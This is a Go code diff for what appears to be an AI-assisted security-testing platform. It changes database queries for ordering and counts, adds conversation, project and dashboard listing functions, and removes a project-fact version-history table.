+	// SummarizationRetryMaxAttempts is extra retries after the first summarization Generate attempt; 0 = default 3.
+	SummarizationRetryMaxAttempts int `yaml:"summarization_retry_max_attempts,omitempty" json:"summarization_retry_max_attempts,omitempty"`
 	// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
 	PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
 	// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).

internal/config/vision.go

@@ -15,8 +15,7 @@ type VisionConfig struct {
 	JPEGQuality     int      `yaml:"jpeg_quality,omitempty" json:"jpeg_quality,omitempty"`
 	MaxPayloadBytes          int64 `yaml:"max_payload_bytes,omitempty" json:"max_payload_bytes,omitempty"`
 	SkipPreprocessBelowBytes int64 `yaml:"skip_preprocess_below_bytes,omitempty" json:"skip_preprocess_below_bytes,omitempty"` // 0=始终压缩；默认 2MB 且长边已<=max_dimension 时原图直传
-	Detail                   string   `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
-	AllowedRoots    []string `yaml:"allowed_roots,omitempty" json:"allowed_roots,omitempty"`
+	Detail string `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
 }
 
 func (v VisionConfig) TimeoutSecondsEffective() int {

internal/database/attackchain.go

@@ -77,7 +77,7 @@ func (db *DB) LoadAttackChainNodes(conversationID string) ([]AttackChainNode, er
 		SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score
 		FROM attack_chain_nodes
 		WHERE conversation_id = ?
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 	`
 
 	rows, err := db.Query(query, conversationID)
@@ -123,7 +123,7 @@ func (db *DB) LoadAttackChainEdges(conversationID string) ([]AttackChainEdge, er
 		SELECT id, source_node_id, target_node_id, edge_type, weight
 		FROM attack_chain_edges
 		WHERE conversation_id = ?
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 	`
 
 	rows, err := db.Query(query, conversationID)

internal/database/c2.go

@@ -840,7 +840,7 @@ func (db *DB) PopQueuedC2Tasks(sessionID string, limit int) ([]*C2Task, error) {
 			created_at
 		FROM c2_tasks
 		WHERE session_id = ? AND (status = 'queued' AND (approval_status = '' OR approval_status = 'approved'))
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 		LIMIT ?
 	`
 	rows, err := tx.Query(query, sessionID, limit)

internal/database/conversation.go

@@ -361,6 +361,27 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
 	return &conv, nil
 }
 
+// CountConversations 统计对话数量。
+func (db *DB) CountConversations(search string) (int, error) {
+	var count int
+	var err error
+	if search != "" {
+		searchPattern := "%" + search + "%"
+		err = db.QueryRow(
+			`SELECT COUNT(*) FROM conversations c
+			 WHERE c.title LIKE ?
+			    OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)`,
+			searchPattern, searchPattern,
+		).Scan(&count)
+	} else {
+		err = db.QueryRow(`SELECT COUNT(*) FROM conversations`).Scan(&count)
+	}
+	if err != nil {
+		return 0, fmt.Errorf("统计对话失败: %w", err)
+	}
+	return count, nil
+}
+
 // ListConversations 列出所有对话
 func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
 	var rows *sql.Rows
@@ -430,6 +451,73 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
 	return conversations, nil
 }
 
+const ungroupedConversationsSQL = `
+	FROM conversations c
+	WHERE NOT EXISTS (
+		SELECT 1 FROM conversation_group_mappings cgm WHERE cgm.conversation_id = c.id
+	)`
+
+// CountUngroupedConversations 统计不在任何分组中的对话数量。
+func (db *DB) CountUngroupedConversations() (int, error) {
+	var count int
+	if err := db.QueryRow(`SELECT COUNT(*) ` + ungroupedConversationsSQL).Scan(&count); err != nil {
+		return 0, fmt.Errorf("统计未分组对话失败: %w", err)
+	}
+	return count, nil
+}
+
+// ListUngroupedConversations 列出不在任何分组中的对话（最近对话侧栏）。
+func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) {
+	rows, err := db.Query(
+		`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
+			ungroupedConversationsSQL+`
+		 ORDER BY c.updated_at DESC
+		 LIMIT ? OFFSET ?`,
+		limit, offset,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询未分组对话失败: %w", err)
+	}
+	defer rows.Close()
+
+	var conversations []*Conversation
+	for rows.Next() {
+		var conv Conversation
+		var createdAt, updatedAt string
+		var pinned int
+		var projectID sql.NullString
+
+		if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
+			return nil, fmt.Errorf("扫描对话失败: %w", err)
+		}
+		if projectID.Valid {
+			conv.ProjectID = strings.TrimSpace(projectID.String)
+		}
+
+		var err1, err2 error
+		conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
+		if err1 != nil {
+			conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
+		}
+		if err1 != nil {
+			conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
+		}
+
+		conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
+		if err2 != nil {
+			conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
+		}
+		if err2 != nil {
+			conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
+		}
+
+		conv.Pinned = pinned != 0
+		conversations = append(conversations, &conv)
+	}
+
+	return conversations, rows.Err()
+}
+
 // UpdateConversationTitle 更新对话标题
 func (db *DB) UpdateConversationTitle(id, title string) error {
 	// 注意：不更新 updated_at，因为重命名操作不应该改变对话的更新时间
@@ -604,7 +692,7 @@ func (db *DB) UpdateAssistantMessageFinalize(messageID, content string, mcpExecu
 // GetMessages 获取对话的所有消息
 func (db *DB) GetMessages(conversationID string) ([]Message, error) {
 	rows, err := db.Query(
-		"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC",
+		"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
 		conversationID,
 	)
 	if err != nil {
@@ -799,7 +887,7 @@ func (db *DB) AddProcessDetail(messageID, conversationID, eventType, message str
 // GetProcessDetails 获取消息的过程详情
 func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
 	rows, err := db.Query(
-		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC",
+		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC, rowid ASC",
 		messageID,
 	)
 	if err != nil {
@@ -835,7 +923,7 @@ func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
 // GetProcessDetailsByConversation 获取对话的所有过程详情（按消息分组）
 func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
 	rows, err := db.Query(
-		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC",
+		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
 		conversationID,
 	)
 	if err != nil {

internal/database/database.go

@@ -334,7 +334,6 @@ func (db *DB) initTables() error {
 		source_conversation_id TEXT,
 		source_message_id TEXT,
 		pinned INTEGER NOT NULL DEFAULT 0,
-		supersedes_fact_id TEXT,
 		related_vulnerability_id TEXT,
 		created_at DATETIME NOT NULL,
 		updated_at DATETIME NOT NULL,
@@ -342,25 +341,6 @@ func (db *DB) initTables() error {
 		UNIQUE(project_id, fact_key)
 	);`
 
-	createProjectFactVersionsTable := `
-	CREATE TABLE IF NOT EXISTS project_fact_versions (
-		id TEXT PRIMARY KEY,
-		fact_id TEXT NOT NULL,
-		project_id TEXT NOT NULL,
-		fact_key TEXT NOT NULL,
-		category TEXT NOT NULL DEFAULT 'note',
-		summary TEXT NOT NULL DEFAULT '',
-		body TEXT,
-		confidence TEXT NOT NULL DEFAULT 'tentative',
-		source_conversation_id TEXT,
-		source_message_id TEXT,
-		pinned INTEGER NOT NULL DEFAULT 0,
-		related_vulnerability_id TEXT,
-		archived_at DATETIME NOT NULL,
-		FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
-		FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
-	);`
-
 	// 创建漏洞表
 	createVulnerabilitiesTable := `
 	CREATE TABLE IF NOT EXISTS vulnerabilities (
@@ -598,7 +578,6 @@ func (db *DB) initTables() error {
 	CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
-	CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id);
 	CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
 	CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
 	CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
@@ -680,10 +659,6 @@ func (db *DB) initTables() error {
 		return fmt.Errorf("创建project_facts表失败: %w", err)
 	}
 
-	if _, err := db.Exec(createProjectFactVersionsTable); err != nil {
-		return fmt.Errorf("创建project_fact_versions表失败: %w", err)
-	}
-
 	if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
 		return fmt.Errorf("创建vulnerabilities表失败: %w", err)
 	}
@@ -754,8 +729,8 @@ func (db *DB) initTables() error {
 	if err := db.migrateProjectsTable(); err != nil {
 		db.logger.Warn("迁移projects相关表失败", zap.Error(err))
 	}
-	if err := db.migrateProjectFactVersionsTable(); err != nil {
-		db.logger.Warn("迁移project_fact_versions表失败", zap.Error(err))
+	if err := db.dropProjectFactVersionsTable(); err != nil {
+		db.logger.Warn("清理project_fact_versions表失败", zap.Error(err))
 	}
 
 	if err := db.migrateWebshellConnectionsTable(); err != nil {
@@ -1153,32 +1128,10 @@ func (db *DB) migrateProjectsTable() error {
 	return nil
 }
 
-// migrateProjectFactVersionsTable 为已有库创建事实版本表。
-func (db *DB) migrateProjectFactVersionsTable() error {
-	ddl := `
-	CREATE TABLE IF NOT EXISTS project_fact_versions (
-		id TEXT PRIMARY KEY,
-		fact_id TEXT NOT NULL,
-		project_id TEXT NOT NULL,
-		fact_key TEXT NOT NULL,
-		category TEXT NOT NULL DEFAULT 'note',
-		summary TEXT NOT NULL DEFAULT '',
-		body TEXT,
-		confidence TEXT NOT NULL DEFAULT 'tentative',
-		source_conversation_id TEXT,
-		source_message_id TEXT,
-		pinned INTEGER NOT NULL DEFAULT 0,
-		related_vulnerability_id TEXT,
-		archived_at DATETIME NOT NULL,
-		FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
-		FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
-	);`
-	if _, err := db.Exec(ddl); err != nil {
-		return err
-	}
-	_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id)`)
-	_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id)`)
-	return nil
+// dropProjectFactVersionsTable 移除已废弃的事实版本归档表。
+func (db *DB) dropProjectFactVersionsTable() error {
+	_, err := db.Exec(`DROP TABLE IF EXISTS project_fact_versions`)
+	return err
 }
 
 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表，补充标签字段

internal/database/monitor.go

@@ -3,6 +3,7 @@ package database
 import (
 	"database/sql"
 	"encoding/json"
+	"sort"
 	"strings"
 	"time"
 
@@ -493,6 +494,68 @@ func (db *DB) UpdateToolStats(toolName string, totalCalls, successCalls, failedC
 	return nil
 }
 
+// CallsTimelineBucket 调用趋势时间桶
+type CallsTimelineBucket struct {
+	BucketTime time.Time
+	Total      int
+	Failed     int
+}
+
+// truncateCallsTimelineBucket 将时间截断到趋势图桶边界（本地时区，与 handler 侧 truncateToBucket 一致）
+func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
+	t = t.In(time.Local)
+	if dailyBuckets {
+		y, m, d := t.Date()
+		return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
+	}
+	return t.Truncate(time.Hour)
+}
+
+// LoadCallsTimeline 按时间范围加载调用趋势（since 起至今，含边界）
+func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
+	// 在 Go 侧按本地时区分桶，避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析（差 8h 等问题）
+	query := `
+		SELECT start_time,
+			CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
+		FROM tool_executions
+		WHERE start_time >= ?
+	`
+
+	rows, err := db.Query(query, since)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	bucketMap := make(map[time.Time]struct{ total, failed int })
+	for rows.Next() {
+		var startTime time.Time
+		var failed int
+		if err := rows.Scan(&startTime, &failed); err != nil {
+			db.logger.Warn("加载调用趋势失败", zap.Error(err))
+			continue
+		}
+		key := truncateCallsTimelineBucket(startTime, dailyBuckets)
+		entry := bucketMap[key]
+		entry.total++
+		entry.failed += failed
+		bucketMap[key] = entry
+	}
+
+	buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
+	for bucketTime, counts := range bucketMap {
+		buckets = append(buckets, CallsTimelineBucket{
+			BucketTime: bucketTime,
+			Total:      counts.total,
+			Failed:     counts.failed,
+		})
+	}
+	sort.Slice(buckets, func(i, j int) bool {
+		return buckets[i].BucketTime.Before(buckets[j].BucketTime)
+	})
+	return buckets, nil
+}
+
 // DecreaseToolStats 减少工具统计信息（用于删除执行记录时）
 // 如果统计信息变为0，则删除该统计记录
 func (db *DB) DecreaseToolStats(toolName string, totalCalls, successCalls, failedCalls int) error {

internal/database/project.go

@@ -51,7 +51,6 @@ type ProjectFact struct {
 	SourceConversationID   string    `json:"source_conversation_id,omitempty"`
 	SourceMessageID        string    `json:"source_message_id,omitempty"`
 	Pinned                 bool      `json:"pinned"`
-	SupersedesFactID       string    `json:"supersedes_fact_id,omitempty"`
 	RelatedVulnerabilityID string    `json:"related_vulnerability_id,omitempty"`
 	CreatedAt              time.Time `json:"created_at"`
 	UpdatedAt              time.Time `json:"updated_at"`
@@ -112,10 +111,30 @@ func (db *DB) GetProject(id string) (*Project, error) {
 	return &p, nil
 }
 
+// CountProjects 统计项目数量。
+func (db *DB) CountProjects(status, search string) (int, error) {
+	query := `SELECT COUNT(*) FROM projects WHERE 1=1`
+	args := []interface{}{}
+	if s := strings.TrimSpace(status); s != "" {
+		query += " AND status = ?"
+		args = append(args, s)
+	}
+	if q := strings.TrimSpace(search); q != "" {
+		pattern := "%" + q + "%"
+		query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
+		args = append(args, pattern, pattern)
+	}
+	var count int
+	if err := db.QueryRow(query, args...).Scan(&count); err != nil {
+		return 0, fmt.Errorf("统计项目失败: %w", err)
+	}
+	return count, nil
+}
+
 // ListProjects 列出项目。
-func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error) {
+func (db *DB) ListProjects(status, search string, limit, offset int) ([]*Project, error) {
 	if limit <= 0 {
-		limit = 200
+		limit = 50
 	}
 	query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
 		FROM projects WHERE 1=1`
@@ -124,6 +143,11 @@ func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error)
 		query += " AND status = ?"
 		args = append(args, s)
 	}
+	if q := strings.TrimSpace(search); q != "" {
+		pattern := "%" + q + "%"
+		query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
+		args = append(args, pattern, pattern)
+	}
 	query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
 	args = append(args, limit, offset)
 
@@ -215,7 +239,7 @@ func (db *DB) SetConversationProjectID(conversationID, projectID string) error {
 func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
 	query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 		COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-		COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+		COALESCE(related_vulnerability_id,''), created_at, updated_at
 		FROM project_facts WHERE project_id = ?`
 	args := []interface{}{projectID}
 	if !includeDeprecated {
@@ -237,7 +261,7 @@ func (db *DB) ListProjectFacts(projectID string, filter ProjectFactListFilter, l
 	}
 	query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 		COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-		COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+		COALESCE(related_vulnerability_id,''), created_at, updated_at
 		FROM project_facts WHERE project_id = ?`
 	args := []interface{}{projectID}
 	if c := strings.TrimSpace(filter.Category); c != "" {
@@ -276,7 +300,7 @@ func (db *DB) GetProjectFactByKey(projectID, factKey string) (*ProjectFact, erro
 	row := db.QueryRow(
 		`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+			COALESCE(related_vulnerability_id,''), created_at, updated_at
 		 FROM project_facts WHERE project_id = ? AND fact_key = ?`,
 		projectID, factKey,
 	)
@@ -288,7 +312,7 @@ func (db *DB) GetProjectFact(id string) (*ProjectFact, error) {
 	row := db.QueryRow(
 		`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+			COALESCE(related_vulnerability_id,''), created_at, updated_at
 		 FROM project_facts WHERE id = ?`, id,
 	)
 	return scanProjectFactRow(row)
@@ -327,24 +351,15 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
 		if strings.TrimSpace(f.Confidence) == "" {
 			f.Confidence = existing.Confidence
 		}
-		if projectFactContentChanged(existing, f) {
-			versionID, verr := db.InsertProjectFactVersion(existing)
-			if verr != nil {
-				return nil, verr
-			}
-			f.SupersedesFactID = versionID
-		} else if f.SupersedesFactID == "" {
-			f.SupersedesFactID = existing.SupersedesFactID
-		}
 		_, err = db.Exec(
 			`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
 				source_conversation_id = COALESCE(?, source_conversation_id),
 				source_message_id = COALESCE(?, source_message_id),
-				pinned = ?, supersedes_fact_id = ?, related_vulnerability_id = ?, updated_at = ?
+				pinned = ?, related_vulnerability_id = ?, updated_at = ?
 			 WHERE id = ?`,
 			f.Category, f.Summary, f.Body, f.Confidence,
 			nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-			nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
+			nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
 		)
 		if err != nil {
 			return nil, fmt.Errorf("更新事实失败: %w", err)
@@ -360,12 +375,12 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
 	_, err = db.Exec(
 		`INSERT INTO project_facts (
 			id, project_id, fact_key, category, summary, body, confidence,
-			source_conversation_id, source_message_id, pinned, supersedes_fact_id, related_vulnerability_id,
+			source_conversation_id, source_message_id, pinned, related_vulnerability_id,
 			created_at, updated_at
-		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
 		f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
 		nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-		nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID),
+		nullIfEmpty(f.RelatedVulnerabilityID),
 		f.CreatedAt, f.UpdatedAt,
 	)
 	if err != nil {
@@ -440,7 +455,7 @@ func scanProjectFactRow(row *sql.Row) (*ProjectFact, error) {
 	err := row.Scan(
 		&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
 		&f.SourceConversationID, &f.SourceMessageID, &pinned,
-		&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
+		&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
 	)
 	if err != nil {
 		if err == sql.ErrNoRows {
@@ -461,7 +476,7 @@ func scanProjectFactFromRows(rows *sql.Rows) (*ProjectFact, error) {
 	err := rows.Scan(
 		&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
 		&f.SourceConversationID, &f.SourceMessageID, &pinned,
-		&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
+		&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
 	)
 	if err != nil {
 		return nil, err

internal/database/project_dashboard.go

@@ -0,0 +1,91 @@
+package database
+
+import (
+	"fmt"
+	"strings"
+	"time"
+)
+
+// ProjectDashboardFact 仪表盘跨项目近期事实条目。
+type ProjectDashboardFact struct {
+	ID          string    `json:"id"`
+	ProjectID   string    `json:"project_id"`
+	ProjectName string    `json:"project_name"`
+	FactKey     string    `json:"fact_key"`
+	Category    string    `json:"category"`
+	Summary     string    `json:"summary"`
+	Confidence  string    `json:"confidence"`
+	Pinned      bool      `json:"pinned"`
+	UpdatedAt   time.Time `json:"updated_at"`
+}
+
+// ProjectDashboardTotals 仪表盘项目事实汇总计数。
+type ProjectDashboardTotals struct {
+	ActiveProjects int `json:"active_projects"`
+	TotalFacts     int `json:"total_facts"`
+}
+
+// ProjectDashboardSummary 仪表盘项目情报摘要。
+type ProjectDashboardSummary struct {
+	RecentFacts []ProjectDashboardFact `json:"recent_facts"`
+	Totals      ProjectDashboardTotals `json:"totals"`
+}
+
+// GetProjectDashboardSummary 聚合跨项目近期事实（仅活跃项目、排除 deprecated）。
+func (db *DB) GetProjectDashboardSummary(factLimit int) (*ProjectDashboardSummary, error) {
+	if factLimit <= 0 {
+		factLimit = 5
+	}
+	if factLimit > 50 {
+		factLimit = 50
+	}
+
+	out := &ProjectDashboardSummary{
+		RecentFacts: []ProjectDashboardFact{},
+	}
+
+	if err := db.QueryRow(`SELECT COUNT(*) FROM projects WHERE status = 'active'`).Scan(&out.Totals.ActiveProjects); err != nil {
+		return nil, fmt.Errorf("统计活跃项目失败: %w", err)
+	}
+	if err := db.QueryRow(
+		`SELECT COUNT(*) FROM project_facts f
+		 INNER JOIN projects p ON p.id = f.project_id
+		 WHERE f.confidence != 'deprecated' AND p.status = 'active'`,
+	).Scan(&out.Totals.TotalFacts); err != nil {
+		return nil, fmt.Errorf("统计事实失败: %w", err)
+	}
+
+	rows, err := db.Query(
+		`SELECT f.id, f.project_id, p.name, f.fact_key, f.category, f.summary, f.confidence, f.pinned, f.updated_at
+		 FROM project_facts f
+		 INNER JOIN projects p ON p.id = f.project_id
+		 WHERE f.confidence != 'deprecated' AND p.status = 'active'
+		 ORDER BY f.pinned DESC, f.updated_at DESC
+		 LIMIT ?`,
+		factLimit,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询近期事实失败: %w", err)
+	}
+	defer rows.Close()
+
+	for rows.Next() {
+		var item ProjectDashboardFact
+		var pinned int
+		var updatedAt string
+		if err := rows.Scan(
+			&item.ID, &item.ProjectID, &item.ProjectName, &item.FactKey,
+			&item.Category, &item.Summary, &item.Confidence, &pinned, &updatedAt,
+		); err != nil {
+			return nil, err
+		}
+		item.Pinned = pinned != 0
+		item.ProjectName = strings.TrimSpace(item.ProjectName)
+		item.UpdatedAt = parseDBTime(updatedAt)
+		out.RecentFacts = append(out.RecentFacts, item)
+	}
+	if err := rows.Err(); err != nil {
+		return nil, err
+	}
+	return out, nil
+}

internal/database/project_fact_upsert_test.go

@@ -135,54 +135,6 @@ func TestRestoreProjectFact(t *testing.T) {
 	}
 }
 
-func TestUpsertProjectFact_createsVersionOnContentChange(t *testing.T) {
-	dbPath := filepath.Join(t.TempDir(), "facts.db")
-	db, err := NewDB(dbPath, zap.NewNop())
-	if err != nil {
-		t.Fatal(err)
-	}
-	defer db.Close()
-
-	proj, err := db.CreateProject(&Project{Name: "version-test"})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	created, err := db.UpsertProjectFact(&ProjectFact{
-		ProjectID: proj.ID,
-		FactKey:   "finding/xss",
-		Category:  "finding",
-		Summary:   "v1",
-		Body:      "body v1",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if created.SupersedesFactID != "" {
-		t.Fatalf("expected no supersedes on create, got %q", created.SupersedesFactID)
-	}
-
-	updated, err := db.UpsertProjectFact(&ProjectFact{
-		ProjectID: proj.ID,
-		FactKey:   "finding/xss",
-		Summary:   "v2",
-		Body:      "body v2",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if updated.SupersedesFactID == "" {
-		t.Fatal("expected supersedes_fact_id after content change")
-	}
-	prev, err := db.GetProjectFactVersion(updated.SupersedesFactID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if prev.Summary != "v1" || prev.Body != "body v1" {
-		t.Fatalf("previous version mismatch: summary=%q body=%q", prev.Summary, prev.Body)
-	}
-}
-
 func TestMergeFactBodyOnUpdate(t *testing.T) {
 	if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
 		t.Fatalf("empty incoming: got %q", got)

internal/database/project_fact_version.go

@@ -1,144 +0,0 @@
-package database
-
-import (
-	"database/sql"
-	"fmt"
-	"strings"
-	"time"
-
-	"github.com/google/uuid"
-)
-
-// ProjectFactVersion 事实历史快照（同 fact_key 更新前归档）。
-type ProjectFactVersion struct {
-	ID                     string    `json:"id"`
-	FactID                 string    `json:"fact_id"`
-	ProjectID              string    `json:"project_id"`
-	FactKey                string    `json:"fact_key"`
-	Category               string    `json:"category"`
-	Summary                string    `json:"summary"`
-	Body                   string    `json:"body"`
-	Confidence             string    `json:"confidence"`
-	SourceConversationID   string    `json:"source_conversation_id,omitempty"`
-	SourceMessageID        string    `json:"source_message_id,omitempty"`
-	Pinned                 bool      `json:"pinned"`
-	RelatedVulnerabilityID string    `json:"related_vulnerability_id,omitempty"`
-	ArchivedAt             time.Time `json:"archived_at"`
-}
-
-// InsertProjectFactVersion 将当前事实行快照写入版本表。
-func (db *DB) InsertProjectFactVersion(f *ProjectFact) (string, error) {
-	if f == nil || f.ID == "" {
-		return "", fmt.Errorf("无效的事实记录")
-	}
-	id := uuid.New().String()
-	now := time.Now()
-	_, err := db.Exec(
-		`INSERT INTO project_fact_versions (
-			id, fact_id, project_id, fact_key, category, summary, body, confidence,
-			source_conversation_id, source_message_id, pinned, related_vulnerability_id, archived_at
-		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
-		id, f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
-		nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-		nullIfEmpty(f.RelatedVulnerabilityID), now,
-	)
-	if err != nil {
-		return "", fmt.Errorf("归档事实版本失败: %w", err)
-	}
-	return id, nil
-}
-
-// GetProjectFactVersion 按版本 ID 获取快照。
-func (db *DB) GetProjectFactVersion(versionID string) (*ProjectFactVersion, error) {
-	row := db.QueryRow(
-		`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
-			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(related_vulnerability_id,''), archived_at
-		 FROM project_fact_versions WHERE id = ?`, versionID,
-	)
-	return scanProjectFactVersionRow(row)
-}
-
-// ListProjectFactVersions 列出某条事实的全部历史版本（新→旧）。
-func (db *DB) ListProjectFactVersions(factID string, limit int) ([]*ProjectFactVersion, error) {
-	if limit <= 0 {
-		limit = 20
-	}
-	rows, err := db.Query(
-		`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
-			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(related_vulnerability_id,''), archived_at
-		 FROM project_fact_versions WHERE fact_id = ? ORDER BY archived_at DESC LIMIT ?`,
-		factID, limit,
-	)
-	if err != nil {
-		return nil, err
-	}
-	defer rows.Close()
-	var out []*ProjectFactVersion
-	for rows.Next() {
-		v, err := scanProjectFactVersionFromRows(rows)
-		if err != nil {
-			return nil, err
-		}
-		out = append(out, v)
-	}
-	return out, rows.Err()
-}
-
-func projectFactContentChanged(existing, incoming *ProjectFact) bool {
-	if existing == nil || incoming == nil {
-		return false
-	}
-	mergedBody := mergeFactBodyOnUpdate(incoming.Body, existing.Body)
